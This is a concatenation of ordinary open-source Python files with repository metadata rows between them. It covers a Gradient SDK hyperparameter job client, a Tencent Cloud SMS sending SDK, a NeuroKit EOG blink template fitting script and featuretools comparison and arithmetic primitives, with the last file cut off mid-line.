str worker_registry_username: Worker registry username :param str worker_registry_password: Worker registry password :param bool is_preemptible: Flag: is preemptible :param str ports: Port to use in new experiment :param str workspace_url: Project git repository url :param str artifact_directory: Artifacts directory :param str cluster_id: Cluster ID :param dict experiment_env: Environment variables (in JSON) :param str trigger_event_id: GradientCI trigger event id :param str model_type: Model type :param str model_path: Model path :param str dockerfile_path: Path to dockerfile in project :param str hyperparameter_server_registry_username: Hyperparameter server registry username :param str hyperparameter_server_registry_password: Hyperparameter server registry password :param str hyperparameter_server_container: Hyperparameter server container :param str hyperparameter_server_container_user: Hyperparameter server container user :param str hyperparameter_server_machine_type: Hyperparameter server machine type :param str working_directory: Working directory for the experiment :param bool use_dockerfile: Flag: use dockerfile :param list[str] tags: List of tags :returns: ID of a new job :rtype: str """ if not is_preemptible: is_preemptible = None if use_dockerfile is False: use_dockerfile = None hyperparameter = models.Hyperparameter( name=name, project_id=project_id, tuning_command=tuning_command, worker_container=worker_container, worker_container_user=worker_container_user, worker_machine_type=worker_machine_type, worker_command=worker_command, worker_count=worker_count, worker_registry_username=worker_registry_username, worker_registry_password=worker_registry_password, is_preemptible=is_preemptible, ports=ports, workspace_url=workspace_url, artifact_directory=artifact_directory, cluster_id=cluster_id, experiment_env=experiment_env, trigger_event_id=trigger_event_id, model_type=model_type, model_path=model_path, dockerfile_path=dockerfile_path, hyperparameter_server_machine_type=hyperparameter_server_machine_type, hyperparameter_server_registry_username=hyperparameter_server_registry_username, hyperparameter_server_registry_password=hyperparameter_server_registry_password, hyperparameter_server_container=hyperparameter_server_container, hyperparameter_server_container_user=hyperparameter_server_container_user, working_directory=working_directory, use_dockerfile=use_dockerfile, ) repository = self.build_repository(repositories.CreateHyperparameterJob) handle = repository.create(hyperparameter) if tags: self.add_tags(entity_id=handle, tags=tags) return handle def run( self, name, project_id, tuning_command, worker_container, worker_machine_type, worker_command, worker_count, worker_registry_username=None, worker_registry_password=None, worker_container_user=None, is_preemptible=False, ports=None, workspace_url=None, artifact_directory=None, cluster_id=None, experiment_env=None, trigger_event_id=None, model_type=None, model_path=None, dockerfile_path=None, hyperparameter_server_registry_username=None, hyperparameter_server_registry_password=None, hyperparameter_server_container_user=None, hyperparameter_server_container=None, hyperparameter_server_machine_type=None, working_directory=None, use_dockerfile=False, tags=None, ): """Create and start hyperparameter tuning job :param str name: Name of new experiment [required] :param str project_id: Project ID [required] :param str tuning_command: Tuning command [required] :param str worker_container: Worker container [required] :param str worker_machine_type: Worker machine type [required] :param str worker_command: Worker command [required] :param int worker_count: Worker count [required] :param str worker_container_user: Worker container user :param worker_registry_password: Worker registry password :param worker_registry_username: Worker registry username :param bool is_preemptible: Flag: is preemptible :param str ports: Port to use in new experiment :param str workspace_url: Project git repository url :param str artifact_directory: Artifacts directory :param str cluster_id: Cluster ID :param dict experiment_env: Environment variables (in JSON) :param str trigger_event_id: GradientCI trigger event id :param str model_type: Model type :param str model_path: Model path :param str dockerfile_path: Path to dockerfile :param str hyperparameter_server_registry_username: container registry username :param str hyperparameter_server_registry_password: container registry password :param str hyperparameter_server_container_user: hps container user :param str hyperparameter_server_container: hps container :param str hyperparameter_server_machine_type: hps machine type :param str working_directory: Working directory for the experiment :param bool use_dockerfile: Flag: use dockerfile :param list[str] tags: List of tags :returns: ID of a new job :rtype: str """ if not is_preemptible: is_preemptible = None if use_dockerfile is False: use_dockerfile = None hyperparameter = models.Hyperparameter( name=name, project_id=project_id, tuning_command=tuning_command, worker_container=worker_container, worker_machine_type=worker_machine_type, worker_command=worker_command, worker_count=worker_count, worker_container_user=worker_container_user, worker_registry_username=worker_registry_username, worker_registry_password=worker_registry_password, is_preemptible=is_preemptible, ports=ports, workspace_url=workspace_url, artifact_directory=artifact_directory, cluster_id=cluster_id, experiment_env=experiment_env, trigger_event_id=trigger_event_id, model_type=model_type, model_path=model_path, dockerfile_path=dockerfile_path, hyperparameter_server_registry_username=hyperparameter_server_registry_username, hyperparameter_server_registry_password=hyperparameter_server_registry_password, hyperparameter_server_container_user=hyperparameter_server_container_user, hyperparameter_server_container=hyperparameter_server_container, hyperparameter_server_machine_type=hyperparameter_server_machine_type, working_directory=working_directory, use_dockerfile=use_dockerfile, ) repository = self.build_repository(repositories.CreateAndStartHyperparameterJob) handle = repository.create(hyperparameter) if tags: self.add_tags(entity_id=handle, tags=tags) return handle def get(self, id): """Get Hyperparameter tuning job's instance :param str id: Hyperparameter job id :returns: instance of Hyperparameter :rtype: models.Hyperparameter """ repository = self.build_repository(repositories.GetHyperparameterTuningJob) job = repository.get(id=id) return job def start(self, id): """Start existing hyperparameter tuning job :param str id: Hyperparameter job id :raises: exceptions.GradientSdkError """ repository = self.build_repository(repositories.StartHyperparameterTuningJob) repository.start(id_=id) def list(self): """Get a list of hyperparameter tuning jobs :rtype: list[models.Hyperparameter] """ repository = self.build_repository(repositories.ListHyperparameterJobs) experiments = repository.list() return experiments

41.189189

99

0.676134

1,095

10,668

6.283105

0.091324

0.053488

0.073256

0.040698

0.903634

0.889826

0.855087

0.786628

0.672965

0

0.274934

10,668

258

100

41.348837

0.889463

0.339989

0

0.857143

0

0.001552

0

1

0.032468

false

0.051948

0.019481

0

0.090909

0

null

0

1

0

1

0

1

0

null

0

1

0

7

22268766ad4731de4ee56b741bca3e66dd7d007a

110

py

Python

bagel/__init__.py

alumik/bagel-torch

455d6e000263f15d85b49fa1857108393c8aaf08

[ "MIT" ]

1

2022-02-13T01:05:53.000Z

bagel/__init__.py

AlumiK/bagel-pytorch

455d6e000263f15d85b49fa1857108393c8aaf08

[ "MIT" ]

null

bagel/__init__.py

AlumiK/bagel-pytorch

455d6e000263f15d85b49fa1857108393c8aaf08

[ "MIT" ]

1

2022-03-04T07:40:03.000Z

import bagel.data import bagel.models import bagel.testing import bagel.utils from bagel.models import Bagel

15.714286

30

0.836364

17

110

5.411765

0.411765

0.597826

0.369565

0.478261

0

0.118182

110

6

31

18.333333

0.948454

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

3f2f177344f61f137f667540ae0067f32f600333

10,427

py

Python

moni-alert/bin/qcloudsms_py/sms.py

jimdn/monitor-toolkits

d0e3c1215c2b17047f9eae061b37efb3bb9eb6f8

[ "MIT" ]

4

2019-07-04T10:01:16.000Z

2022-01-23T07:15:52.000Z

moni-alert/bin/qcloudsms_py/sms.py

jimdn/monitor-toolkits

d0e3c1215c2b17047f9eae061b37efb3bb9eb6f8

[ "MIT" ]

null

moni-alert/bin/qcloudsms_py/sms.py

jimdn/monitor-toolkits

d0e3c1215c2b17047f9eae061b37efb3bb9eb6f8

[ "MIT" ]

5

2019-08-11T14:22:14.000Z

2020-12-03T03:13:44.000Z

#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import absolute_import, division, print_function import json from qcloudsms_py import util from qcloudsms_py.httpclient import HTTPRequest class SmsSingleSender(object): def __init__(self, appid, appkey): self._appid = appid self._appkey = appkey self._url = "https://yun.tim.qq.com/v5/tlssmssvr/sendsms"; def send(self, sms_type, nation_code, phone_number, msg, extend="", ext=""): """Send single SMS message. :param msg_type: SMS message type, Enum{0: normal SMS, 1: marketing SMS} :param nation_code: nation dialing code, e.g. China is 86, USA is 1 :param phone_number: phone number :param msg: SMS message content :param extend: extend field, default is empty string :param ext: ext field, content will be returned by server as it is """ rand = util.get_random() now = util.get_current_time() url = "{}?sdkappid={}&random={}".format( self._url, self._appid, rand) req = HTTPRequest( url=url, method="POST", headers={"Content-Type": "application/json"}, body={ "tel": { "nationcode": str(nation_code), "mobile": str(phone_number) }, "type": int(sms_type), "msg": str(msg), "sig": util.calculate_signature( self._appkey, rand, now, [phone_number]), "time": now, "extend": str(extend), "ext": str(ext) }, connect_timeout=60, request_timeout=60 ) return util.api_request(req) def send_with_param(self, nation_code, phone_number, template_id, params, sign="", extend="", ext=""): """Send single SMS message with template paramters. :param nation_code: nation dialing code, e.g. China is 86, USA is 1 :param phone_number: phone number :param template_id: template id :param params: template parameters :param sign: Sms user sign :param extend: extend field, default is empty string :param ext: ext field, content will be returned by server as it is """ rand = util.get_random() now = util.get_current_time() url = "{}?sdkappid={}&random={}".format( self._url, self._appid, rand) req = HTTPRequest( url=url, method="POST", headers={"Content-Type": "application/json"}, body={ "tel": { "nationcode": str(nation_code), "mobile": str(phone_number) }, "sign": str(sign), "tpl_id": int(template_id), "params": params, "sig": util.calculate_signature( self._appkey, rand, now, [phone_number]), "time": now, "extend": str(extend), "ext": str(ext) }, connect_timeout=60, request_timeout=60 ) return util.api_request(req) class SmsMultiSender(object): def __init__(self, appid, appkey): self._appid = appid self._appkey = appkey self._url = "https://yun.tim.qq.com/v5/tlssmssvr/sendmultisms2" def send(self, sms_type, nation_code, phone_numbers, msg, extend="", ext=""): """Send a SMS messages to multiple phones at once. :param number: SMS message type, Enum{0: normal SMS, 1: marketing SMS} :param nation_code: nation dialing code, e.g. China is 86, USA is 1 :param phone_numbers: phone number array :param msg: SMS message content :param extend: extend field, default is empty string :param ext: ext field, content will be returned by server as it is """ rand = util.get_random() now = util.get_current_time() url = "{}?sdkappid={}&random={}".format( self._url, self._appid, rand) req = HTTPRequest( url=url, method="POST", headers={"Content-Type": "application/json"}, body={ "tel": [{"nationcode": nation_code, "mobile": pn} for pn in phone_numbers], "type": int(sms_type), "msg": str(msg), "sig": util.calculate_signature( self._appkey, rand, now, phone_numbers), "time": now, "extend": str(extend), "ext": str(ext) }, connect_timeout=60, request_timeout=60 ) return util.api_request(req) def send_with_param(self, nation_code, phone_numbers, template_id, params, sign="", extend="", ext=""): """ Send a SMS messages with template parameters to multiple phones at once. :param nation_code: nation dialing code, e.g. China is 86, USA is 1 :param phone_numbers: multiple phone numbers :param template_id: template id :param params: template parameters :param sign: Sms user sign :param extend: extend field, default is empty string :param ext: ext field, content will be returned by server as it is """ rand = util.get_random() now = util.get_current_time() url = "{}?sdkappid={}&random={}".format( self._url, self._appid, rand) req = HTTPRequest( url=url, method="POST", headers={"Content-Type": "application/json"}, body={ "tel": [{"nationcode": nation_code, "mobile": pn} for pn in phone_numbers], "sign": sign, "tpl_id": int(template_id), "params": params, "sig": util.calculate_signature( self._appkey, rand, now, phone_numbers), "time": now, "extend": str(extend), "ext": str(ext) }, connect_timeout=60, request_timeout=60 ) return util.api_request(req) class SmsStatusPuller(object): def __init__(self, appid, appkey): self._appid = appid self._appkey = appkey self._url = "https://yun.tim.qq.com/v5/tlssmssvr/pullstatus" def _pull(self, sms_type, max_num): """Pull SMS message status. :param msg_type: SMS message type, Enum{0: normal SMS, 1: marketing SMS} :param max_num: maximum number of message status """ rand = util.get_random() now = util.get_current_time() url = "{}?sdkappid={}&random={}".format( self._url, self._appid, rand) req = HTTPRequest( url=url, method="POST", headers={"Content-Type": "application/json"}, body={ "sig": util.calculate_signature( self._appkey, rand, now), "time": now, "type": sms_type, "max": max_num }, connect_timeout=60, request_timeout=60 ) return util.api_request(req) def pull_callback(self, max_num): """Pull callback SMS messages status. :param max_num: maximum number of message status """ return self._pull(0, max_num) def pull_reply(self, max_num): """Pull reply SMS messages status. :param max_num: maximum number of message status """ return self._pull(1, max_num) class SmsMobileStatusPuller(object): def __init__(self, appid, appkey): self._appid = appid; self._appkey = appkey; self._url = "https://yun.tim.qq.com/v5/tlssmssvr/pullstatus4mobile" def _pull(self, msg_type, nation_code, mobile, begin_time, end_time, max_num): """Pull SMS messages status for single mobile. :param msg_type: SMS message type, Enum{0: normal SMS, 1: marketing SMS} :param nation_code: nation dialing code, e.g. China is 86, USA is 1 :param mobile: mobile number :param begin_time: begin time, unix timestamp :param end_time: end time, unix timestamp :param max_num: maximum number of message status """ rand = util.get_random() now = util.get_current_time() url = "{}?sdkappid={}&random={}".format( self._url, self._appid, rand) req = HTTPRequest( url=url, method="POST", headers={"Content-Type": "application/json"}, body={ "sig": util.calculate_signature( self._appkey, rand, now), "type": msg_type, "time": now, "max": max_num, "begin_time": begin_time, "end_time": end_time, "nationcode": str(nation_code), "mobile": str(mobile) }, connect_timeout=60, request_timeout=60 ) return util.api_request(req) def pull_callback(self, nation_code, mobile, begin_time, end_time, max_num): """Pull callback SMS message status for single mobile. :param nation_code: nation dialing code, e.g. China is 86, USA is 1 :param mobile: mobile number :param begin_time: begin time, unix timestamp :param end_time: end time, unix timestamp :param max_num: maximum number of message status """ return self._pull(0, nation_code, mobile, begin_time, end_time, max_num) def pull_reply(self, nation_code, mobile, begin_time, end_time, max_num): """Pull reply SMS message status for single mobile. :param nation_code: nation dialing code, e.g. China is 86, USA is 1 :param mobile: mobile number :param begin_time: begin time, unix timestamp :param end_time: end time, unix timestamp :param max_num: maximum number of message status """ return self._pull(1, nation_code, mobile, begin_time,end_time, max_num)

35.587031

82

0.544356

1,177

10,427

4.649108

0.119796

0.038377

0.02924

0.026864

0.895102

0.882858

0.846857

0.834795

0.822734

0.808845

0

0.009426

0.348806

10,427

292

83

35.708904

0.796465

0.266711

0

0.725806

0

0.108864

0.020228

0

1

0.075269

false

0

0.021505

0

0.172043

0.005376

0

null

0

1

0

1

0

null

0

7

3f43c5d5a4444a34f66cb621377fefb4aeb459f9

12,452

py

Python

benchmarks/eog_blinktemplate/script.py

raimonpv/NeuroKit

cb37d83ee20d6a13a91c4848aa435f41e979e203

[ "MIT" ]

null

benchmarks/eog_blinktemplate/script.py

raimonpv/NeuroKit

cb37d83ee20d6a13a91c4848aa435f41e979e203

[ "MIT" ]

null

benchmarks/eog_blinktemplate/script.py

raimonpv/NeuroKit

cb37d83ee20d6a13a91c4848aa435f41e979e203

[ "MIT" ]

null

"""This is the same code as in the article, but in a Python script. """ import neurokit2 as nk import numpy as np import pandas as pd import matplotlib.pyplot as plt import scipy.signal def fit_gamma(x, loc, a, scale): x = nk.rescale(x, to=[0, 10]) gamma = scipy.stats.gamma.pdf(x, a=a, loc=loc, scale=scale) y = gamma / np.max(gamma) return y def fit_scr(x, time_peak, rise, decay1, decay2): x = nk.rescale(x, to=[0, 10]) gt = np.exp(-((x - time_peak) ** 2) / (2 * rise ** 2)) ht = np.exp(-x / decay1) + np.exp(-x / decay2) ft = np.convolve(gt, ht) ft = ft[0 : len(x)] y = ft / np.max(ft) return y # Starting parameters plt.plot(fit_gamma(np.arange(100), 3, 3, 0.5), linewidth=2, linestyle='-', color="#4CAF50", label='Gamma') plt.plot(fit_scr(np.arange(100), 3.5, 0.5, 1, 1), linewidth=2, linestyle='-', color="#9C27B0", label='SCR') params_gamma = pd.DataFrame(columns=["loc", "a", "scale", "Participant", "Task"]) params_scr = pd.DataFrame(columns=["time_peak", "rise", "decay1", "decay2", "Participant", "Task"]) for i in range(4): print("Task: " + str(i)) data = pd.read_csv("../../data/eogdb/eogdb_task" + str(i + 1) + ".csv") for j, participant in enumerate(np.unique(data["Participant"])[1:3]): print(" - " + str(j + 1)) segment = data[data["Participant"] == participant] signal = segment["vEOG"] cleaned = nk.eog_clean(signal, sampling_rate=200, method='neurokit') blinks = nk.signal_findpeaks(cleaned, relative_height_min=1.5)["Peaks"] events = nk.epochs_create(cleaned, blinks, sampling_rate=200, epochs_start=-0.4, epochs_end=0.6) events = nk.epochs_to_array(events) # Convert to 2D array x = np.linspace(0, 100, num=len(events)) p_gamma = np.full((events.shape[1], 3), np.nan) p_bateman = np.full((events.shape[1], 3), np.nan) p_scr = np.full((events.shape[1], 4), np.nan) for i in range(events.shape[1]): if np.isnan(events[:, i]).any(): break events[:, i] = nk.rescale(events[:, i], to=[0, 1]) # Reshape to 0-1 scale try: p_gamma[i, :], _ = scipy.optimize.curve_fit(fit_gamma, x, events[:, i], p0=[3, 3, 0.5]) p_scr[i, :], _ = scipy.optimize.curve_fit(fit_scr, x, events[:, i], p0=[3.5, 0.5, 1, 1]) except RuntimeError: pass p_gamma = pd.DataFrame(p_gamma[~np.isnan(p_gamma).any(axis=1)], columns=["loc", "a", "scale"]) p_gamma["Participant"] = participant p_gamma["Task"] = data["Task"][0] params_gamma = pd.concat([params_gamma, p_gamma], axis=0) p_scr = pd.DataFrame(p_scr[~np.isnan(p_scr).any(axis=1)], columns=["time_peak", "rise", "decay1", "decay2"]) p_scr["Participant"] = participant p_scr["Task"] = data["Task"][0] params_scr = pd.concat([params_scr, p_scr], axis=0) data = pd.read_csv("../../data/eogdb/eogdb_task3.csv") cleaned = nk.eog_clean(data["vEOG"], sampling_rate=200, method='neurokit') blinks = nk.signal_findpeaks(cleaned, relative_height_min=1.5)["Peaks"][:-1] events = nk.epochs_create(cleaned, blinks, sampling_rate=200, epochs_start=-0.4, epochs_end=0.6) events = nk.epochs_to_array(events) for i in range(events.shape[1]): events[:, i] = nk.rescale(events[:, i], to=[0, 1]) # Reshape to 0-1 scale x = np.linspace(0, 100, num=len(events)) template_gamma = fit_gamma(x, *np.nanmedian(params_gamma.iloc[:, [0, 1, 2]], axis=0)) template_scr = fit_scr(x, *np.nanmedian(params_scr.iloc[:, [0, 1, 2, 3]], axis=0)) plt.plot(events, linewidth=0.02, color="black") plt.plot(template_gamma, linewidth=2, linestyle='-', color="#4CAF50", label='Gamma') plt.plot(template_scr, linewidth=2, linestyle='-', color="#9C27B0", label='SCR') plt.legend(loc="upper right") plt.show() data_rmse = pd.DataFrame(columns=["RMSE", "Index", "Participant", "Task", "Function"]) for i in range(4): data = pd.read_csv("../../data/eogdb/eogdb_task" + str(i + 1) + ".csv") for j, participant in enumerate(np.unique(data["Participant"])[1:3]): segment = data[data["Participant"] == participant] signal = segment["vEOG"] cleaned = nk.eog_clean(signal, sampling_rate=200, method='neurokit') blinks = nk.signal_findpeaks(cleaned, relative_height_min=1.5)["Peaks"] events = nk.epochs_create(cleaned, blinks, sampling_rate=200, epochs_start=-0.4, epochs_end=0.6) events = nk.epochs_to_array(events) # Convert to 2D array # Rescale for i in range(events.shape[1]): events[:, i] = nk.rescale(events[:, i], to=[0, 1]) # Reshape to 0-1 scale # RMSE - Gamma rmse = pd.DataFrame({"RMSE": [nk.fit_rmse(events[:, i], template_gamma) for i in range(events.shape[1])], "Index": range(events.shape[1]), "Participant": [participant]*events.shape[1], "Task": [data["Task"][0]]*events.shape[1], "Function": ["Gamma"] * events.shape[1]}) rmse["Index"] = rmse["Participant"] + "_" + rmse["Task"] + "_" + rmse["Index"].astype(str) data_rmse = pd.concat([data_rmse, rmse], axis=0) # RMSE - SCR rmse = pd.DataFrame({"RMSE": [nk.fit_rmse(events[:, i], template_scr) for i in range(events.shape[1])], "Index": range(events.shape[1]), "Participant": [participant]*events.shape[1], "Task": [data["Task"][0]]*events.shape[1], "Function": ["SCR"] * events.shape[1]}) rmse["Index"] = rmse["Participant"] + "_" + rmse["Task"] + "_" + rmse["Index"].astype(str) data_rmse = pd.concat([data_rmse, rmse], axis=0) p = data_rmse.pivot(index='Index', columns='Function', values='RMSE').plot.kde() p.set_xlim(0, 1) p.axvline(x=0.25, color="red") plt.show() optimal_gamma = np.nanmedian(params_gamma.iloc[:, [0, 1, 2]], axis=0) optimal_scr = np.nanmedian(params_scr.iloc[:, [0, 1, 2, 3]], axis=0) params_gamma = pd.DataFrame(columns=["loc", "a", "scale", "Participant", "Task"]) params_scr = pd.DataFrame(columns=["time_peak", "rise", "decay1", "decay2", "Participant", "Task"]) for i in range(4): print("Task: " + str(i)) data = pd.read_csv("../../data/eogdb/eogdb_task" + str(i + 1) + ".csv") for j, participant in enumerate(np.unique(data["Participant"])[1:3]): print(" - " + str(j + 1)) segment = data[data["Participant"] == participant] signal = segment["vEOG"] cleaned = nk.eog_clean(signal, sampling_rate=200, method='neurokit') blinks = nk.signal_findpeaks(cleaned, relative_height_min=1.5)["Peaks"] events = nk.epochs_create(cleaned, blinks, sampling_rate=200, epochs_start=-0.4, epochs_end=0.6) events = nk.epochs_to_array(events) # Convert to 2D array x = np.linspace(0, 100, num=len(events)) p_gamma = np.full((events.shape[1], 3), np.nan) p_scr = np.full((events.shape[1], 4), np.nan) for i in range(events.shape[1]): if np.isnan(events[:, i]).any(): break events[:, i] = nk.rescale(events[:, i], to=[0, 1]) # Reshape to 0-1 scale if nk.fit_rmse(events[:, i], template_gamma) < 0.25: try: p_gamma[i, :], _ = scipy.optimize.curve_fit(fit_gamma, x, events[:, i], p0=optimal_gamma) except RuntimeError: pass if nk.fit_rmse(events[:, i], template_scr) < 0.25: try: p_scr[i, :], _ = scipy.optimize.curve_fit(fit_scr, x, events[:, i], p0=optimal_scr) except RuntimeError: pass p_gamma = pd.DataFrame(p_gamma[~np.isnan(p_gamma).any(axis=1)], columns=["loc", "a", "scale"]) p_gamma["Participant"] = participant p_gamma["Task"] = data["Task"][0] params_gamma = pd.concat([params_gamma, p_gamma], axis=0) p_scr = pd.DataFrame(p_scr[~np.isnan(p_scr).any(axis=1)], columns=["time_peak", "rise", "decay1", "decay2"]) p_scr["Participant"] = participant p_scr["Task"] = data["Task"][0] params_scr = pd.concat([params_scr, p_scr], axis=0) x = np.linspace(0, 100, num=len(events)) template_gamma2 = fit_gamma(x, *np.nanmedian(params_gamma.iloc[:, [0, 1, 2]], axis=0)) template_scr2 = fit_scr(x, *np.nanmedian(params_scr.iloc[:, [0, 1, 2, 3]], axis=0)) data = pd.read_csv("../../data/eogdb/eogdb_task3.csv") cleaned = nk.eog_clean(data["vEOG"], sampling_rate=200, method='neurokit') blinks = nk.signal_findpeaks(cleaned, relative_height_min=1.5)["Peaks"] events = nk.epochs_create(cleaned, blinks, sampling_rate=200, epochs_start=-0.4, epochs_end=0.6) events = nk.epochs_to_array(events) for i in range(events.shape[1]): events[:, i] = nk.rescale(events[:, i], to=[0, 1]) # Reshape to 0-1 scale plt.plot(events, linewidth=0.02, color="black") plt.plot(template_gamma, linewidth=2, linestyle='-', color="#4CAF50", label='Gamma') plt.plot(template_gamma2, linewidth=2, linestyle='-', color="#2196F3", label='Gamma (optimized)') plt.plot(template_scr, linewidth=2, linestyle='-', color="#9C27B0", label='SCR') plt.plot(template_scr2, linewidth=2, linestyle='-', color="#E91E63", label='SCR (optimized)') plt.legend(loc="upper right") plt.show() data_rmse = pd.DataFrame(columns=["RMSE", "Index", "Participant", "Task", "Function"]) for i in range(4): data = pd.read_csv("../../data/eogdb/eogdb_task" + str(i + 1) + ".csv") for j, participant in enumerate(np.unique(data["Participant"])[1:3]): segment = data[data["Participant"] == participant] signal = segment["vEOG"] cleaned = nk.eog_clean(signal, sampling_rate=200, method='neurokit') blinks = nk.signal_findpeaks(cleaned, relative_height_min=1.5)["Peaks"] events = nk.epochs_create(cleaned, blinks, sampling_rate=200, epochs_start=-0.4, epochs_end=0.6) events = nk.epochs_to_array(events) # Convert to 2D array # Rescale for i in range(events.shape[1]): events[:, i] = nk.rescale(events[:, i], to=[0, 1]) # Reshape to 0-1 scale # RMSE - Gamma rmse = pd.DataFrame({"RMSE": [nk.fit_rmse(events[:, i], template_gamma) for i in range(events.shape[1])], "Index": range(events.shape[1]), "Participant": [participant]*events.shape[1], "Task": [data["Task"][0]]*events.shape[1], "Function": ["Gamma"] * events.shape[1]}) rmse["Index"] = rmse["Participant"] + "_" + rmse["Task"] + "_" + rmse["Index"].astype(str) data_rmse = pd.concat([data_rmse, rmse], axis=0) # RMSE - SCR rmse = pd.DataFrame({"RMSE": [nk.fit_rmse(events[:, i], template_scr) for i in range(events.shape[1])], "Index": range(events.shape[1]), "Participant": [participant]*events.shape[1], "Task": [data["Task"][0]]*events.shape[1], "Function": ["SCR"] * events.shape[1]}) rmse["Index"] = rmse["Participant"] + "_" + rmse["Task"] + "_" + rmse["Index"].astype(str) data_rmse = pd.concat([data_rmse, rmse], axis=0) df = data_rmse.pivot(index='Index', columns='Function', values='RMSE') print(df.median(axis=0)) data = pd.read_csv("../../data/eogdb/eogdb_task3.csv") cleaned = nk.eog_clean(data[(data["Participant"] == "S1") | (data["Participant"] == "S2")]["vEOG"], sampling_rate=200, method='neurokit') blinks = nk.signal_findpeaks(cleaned, relative_height_min=1.5)["Peaks"] events = nk.epochs_create(cleaned, blinks, sampling_rate=200, epochs_start=-0.4, epochs_end=0.6) events = nk.epochs_to_array(events) for i in range(events.shape[1]): events[:, i] = nk.rescale(events[:, i], to=[0, 1]) # Reshape to 0-1 scale rmse = np.array([nk.fit_rmse(events[:, i], template_gamma2) for i in range(events.shape[1])]) plt.plot(events[:, rmse < 0.25], linewidth=0.2, color="black") plt.plot(events[:, rmse >= 0.25], linewidth=0.2, color="red") plt.plot(template_gamma2, linewidth=2, linestyle='-', color="#2196F3", label='Gamma (optimized)') plt.legend(loc="upper right") plt.show()

38.791277

137

0.595647

1,767

12,452

4.074137

0.091681

0.050424

0.055008

0.024448

0.909154

0.903737

0.898736

0.877483

0.872621

0.843034

0

0.038041

0.214664

12,452

320

138

38.9125

0.698129

0.030196

0

0.796954

0

0.108696

0.016927

0

1

0.010152

false

0.015228

0.025381

0

0.045685

0.025381

0

null

0

1

0

1

0

null

0

7

3f51470de894455f16bcd2b52e54ebd067558718

11,144

py

Python

featuretools/primitives/standard/binary_transform.py

Anyz01/FeatureTools

0bb7b29045107e10acfab07322ef00934ec21c14

[ "BSD-3-Clause" ]

1

2019-07-29T14:47:06.000Z

featuretools/primitives/standard/binary_transform.py

Anyz01/FeatureTools

0bb7b29045107e10acfab07322ef00934ec21c14

[ "BSD-3-Clause" ]

null

featuretools/primitives/standard/binary_transform.py

Anyz01/FeatureTools

0bb7b29045107e10acfab07322ef00934ec21c14

[ "BSD-3-Clause" ]

null

from builtins import str import numpy as np import pandas as pd from ..base.transform_primitive_base import TransformPrimitive from featuretools.variable_types import ( Boolean, Datetime, Numeric, Ordinal, Variable ) class GreaterThan(TransformPrimitive): name = "greater_than" input_types = [[Numeric, Numeric], [Datetime, Datetime], [Ordinal, Ordinal]] return_type = Boolean def get_function(self): return np.greater def generate_name(self, base_feature_names): return "%s > %s" % (base_feature_names[0], base_feature_names[1]) class GreaterThanScalar(TransformPrimitive): name = "greater_than_scalar" input_types = [[Numeric], [Datetime], [Ordinal]] return_type = Boolean def __init__(self, value=0): self.value = value def get_function(self): def greater_than_scalar(vals): # convert series to handle both numeric and datetime case return pd.Series(vals) > self.value return greater_than_scalar def generate_name(self, base_feature_names): return "%s > %s" % (base_feature_names[0], str(self.value)) class GreaterThanEqualTo(TransformPrimitive): name = "greater_than_equal_to" input_types = [[Numeric, Numeric], [Datetime, Datetime], [Ordinal, Ordinal]] return_type = Boolean def get_function(self): return np.greater_equal def generate_name(self, base_feature_names): return "%s >= %s" % (base_feature_names[0], base_feature_names[1]) class GreaterThanEqualToScalar(TransformPrimitive): name = "greater_than_equal_to_scalar" input_types = [[Numeric], [Datetime], [Ordinal]] return_type = Boolean def __init__(self, value=0): self.value = value def get_function(self): def greater_than_equal_to_scalar(vals): # convert series to handle both numeric and datetime case return pd.Series(vals) >= self.value return greater_than_equal_to_scalar def generate_name(self, base_feature_names): return "%s >= %s" % (base_feature_names[0], str(self.value)) class LessThan(TransformPrimitive): name = "less_than" input_types = [[Numeric, Numeric], [Datetime, Datetime], [Ordinal, Ordinal]] return_type = Boolean def get_function(self): return np.less def generate_name(self, base_feature_names): return "%s < %s" % (base_feature_names[0], base_feature_names[1]) class LessThanScalar(TransformPrimitive): name = "less_than_scalar" input_types = [[Numeric], [Datetime], [Ordinal]] return_type = Boolean def __init__(self, value=0): self.value = value def get_function(self): def less_than_scalar(vals): # convert series to handle both numeric and datetime case return pd.Series(vals) < self.value return less_than_scalar def generate_name(self, base_feature_names): return "%s < %s" % (base_feature_names[0], str(self.value)) class LessThanEqualTo(TransformPrimitive): name = "less_than_equal_to" input_types = [[Numeric, Numeric], [Datetime, Datetime], [Ordinal, Ordinal]] return_type = Boolean def get_function(self): return np.less_equal def generate_name(self, base_feature_names): return "%s <= %s" % (base_feature_names[0], base_feature_names[1]) class LessThanEqualToScalar(TransformPrimitive): name = "less_than_equal_to_scalar" input_types = [[Numeric], [Datetime], [Ordinal]] return_type = Boolean def __init__(self, value=0): self.value = value def get_function(self): def less_than_equal_to_scalar(vals): # convert series to handle both numeric and datetime case return pd.Series(vals) <= self.value return less_than_equal_to_scalar def generate_name(self, base_feature_names): return "%s <= %s" % (base_feature_names[0], str(self.value)) class Equal(TransformPrimitive): name = "equal" input_types = [Variable, Variable] return_type = Boolean commutative = True def get_function(self): return np.equal def generate_name(self, base_feature_names): return "%s = %s" % (base_feature_names[0], base_feature_names[1]) class EqualScalar(TransformPrimitive): name = "equal_scalar" input_types = [Variable] return_type = Boolean def __init__(self, value=None): self.value = value def get_function(self): def equal_scalar(vals): # case to correct pandas type for comparison return pd.Series(vals).astype(pd.Series([self.value]).dtype) == self.value return equal_scalar def generate_name(self, base_feature_names): return "%s = %s" % (base_feature_names[0], str(self.value)) class NotEqual(TransformPrimitive): name = "not_equal" input_types = [Variable, Variable] return_type = Boolean commutative = True def get_function(self): return np.not_equal def generate_name(self, base_feature_names): return "%s != %s" % (base_feature_names[0], base_feature_names[1]) class NotEqualScalar(TransformPrimitive): name = "not_equal_scalar" input_types = [Variable] return_type = Boolean def __init__(self, value=None): self.value = value def get_function(self): def not_equal_scalar(vals): # case to correct pandas type for comparison return pd.Series(vals).astype(pd.Series([self.value]).dtype) != self.value return not_equal_scalar def generate_name(self, base_feature_names): return "%s != %s" % (base_feature_names[0], str(self.value)) class AddNumeric(TransformPrimitive): name = "add_numeric" input_types = [Numeric, Numeric] return_type = Numeric commutative = True def get_function(self): return np.add def generate_name(self, base_feature_names): return "%s + %s" % (base_feature_names[0], base_feature_names[1]) class AddNumericScalar(TransformPrimitive): name = "add_numeric_scalar" input_types = [Numeric] return_type = Numeric def __init__(self, value=0): self.value = value def get_function(self): def add_scalar(vals): return vals + self.value return add_scalar def generate_name(self, base_feature_names): return "%s + %s" % (base_feature_names[0], 